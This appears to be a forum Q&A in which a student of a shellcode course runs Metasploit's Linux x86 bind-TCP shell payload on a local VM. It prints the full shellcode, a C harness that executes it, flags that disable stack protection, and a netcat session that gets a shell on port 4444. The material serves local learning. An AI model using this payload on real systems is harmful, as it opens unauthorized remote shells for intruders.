How to run the linux/x86/shell_bind_tcp payload stand alone? - linux

Question

I'm running a Metasploit payload in a sandbox c program.
Below is a summary of the payload of interest. From there I generate some shellcode and load it up in my sandbox, but when I run it the program will simply wait. I think this is because it's waiting for a connection to send the shell, but I'm not sure.
How would I go from:
Generating shellcode
Loading it into my sandbox
Successfully get a /bin/sh shell <- this is the part I'm stuck on.
Basic setup:
max#ubuntu-vm:~/SLAE/mod2$ sudo msfpayload -p linux/x86/shell_bind_tcp S
[sudo] password for max:
Name: Linux Command Shell, Bind TCP Inline
Module: payload/linux/x86/shell_bind_tcp
Platform: Linux
Arch: x86
Needs Admin: No
Total size: 200
Rank: Normal
Provided by:
Ramon de C Valle <rcvalle#metasploit.com>
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
LPORT 4444 yes The listen port
RHOST no The target address
Description:
Listen for a connection and spawn a command shell
Generating shellcode:
max#ubuntu-vm:~/SLAE/mod2$ sudo msfpayload -p linux/x86/shell_bind_tcp C
Sandbox program with shellcode:
#include<stdio.h>
#include<string.h>
/*
objdump -d ./PROGRAM|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
*/
unsigned char code[] = \
"\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80"
"\x5b\x5e\x52\x68\x02\x00\x11\x5c\x6a\x10\x51\x50\x89\xe1\x6a"
"\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd\x80\x43\xb0"
"\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x68\x2f"
"\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0"
"\x0b\xcd\x80";
main()
{
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
Compile and run. However, this is where I'm not sure how to get a /bin/sh shell:
max#ubuntu-vm:~/SLAE/mod2$ gcc -fno-stack-protector -z execstack -o shellcode shellcode.c
max#ubuntu-vm:~/SLAE/mod2$ ./shellcode
Shellcode Length: 20
(program waiting here...waiting for a connection?)
Edit:
In terminal one I run my shellcode program:
max#ubuntu-vm:~/SLAE/mod2$ ./shellcode
Shellcode Length: 20
Now in terminal two, I check for tcp listeners. Giving -n to suppress host name resolution, -t for tcp, -l for listeners, and -p to see the program names.
I can see the shellcode program on port 4444:
max#ubuntu-vm:~$ sudo netstat -ntlp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:4444 0.0.0.0:* LISTEN 14885/shellcode
max#ubuntu-vm:~$
Connecting with telnet, and it seems like it was successful but still no sh shell.
max#ubuntu-vm:~$ telnet 0.0.0.0 4444
Trying 0.0.0.0...
Connected to 0.0.0.0.
Escape character is '^]'.
How do I get an sh shell?

Answer 1

Generate shellcode, compile and run:
max#ubuntu-vm:~/SLAE/mod2$ sudo msfpayload -p linux/x86/shell_bind_tcp C
/*
* linux/x86/shell_bind_tcp - 78 bytes
* http://www.metasploit.com
* VERBOSE=false, LPORT=4444, RHOST=, PrependFork=false,
* PrependSetresuid=false, PrependSetreuid=false,
* PrependSetuid=false, PrependSetresgid=false,
* PrependSetregid=false, PrependSetgid=false,
* PrependChrootBreak=false, AppendExit=false,
* InitialAutoRunScript=, AutoRunScript=
*/
unsigned char buf[] =
"\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80"
"\x5b\x5e\x52\x68\x02\x00\x11\x5c\x6a\x10\x51\x50\x89\xe1\x6a"
"\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd\x80\x43\xb0"
"\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x68\x2f"
"\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0"
"\x0b\xcd\x80";
max#ubuntu-vm:~/SLAE/mod2$ gcc -fno-stack-protector -z execstack -o shellcode shellcode.c
max#ubuntu-vm:~/SLAE/mod2$ ./shellcode
Shellcode Length: 20
Now, in terminal 2. Check for connections and finally connect using netcat. Note, that the $ doesn't appear but the shell is still there:
max#ubuntu-vm:~$ sudo netstat -ntlp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:4444 0.0.0.0:* LISTEN 3326/shellcode
max#ubuntu-vm:~$ nc 0.0.0.0 4444
pwd
/home/max/SLAE/mod2
whoami
max
ls -l
total 516
-rwxrwxr-x 1 max max 591 Jan 2 07:06 InsertionEncoder.py
-rwxrwxr-x 1 max max 591 Jan 2 07:03 InsertionEncoder.py~
-rwxrwxr-x 1 max max 471 Dec 30 17:00 NOTEncoder.py
-rwxrwxr-x 1 max max 471 Dec 30 16:57 NOTEncoder.py~
-rwxrwxr-x 1 max max 442 Jan 2 09:58 XOREncoder.py
-rwxrwxr-x 1 max max 442 Dec 30 08:36 XOREncoder.py~
-rwxrwxr-x 1 max max 139 Dec 27 08:18 compile.sh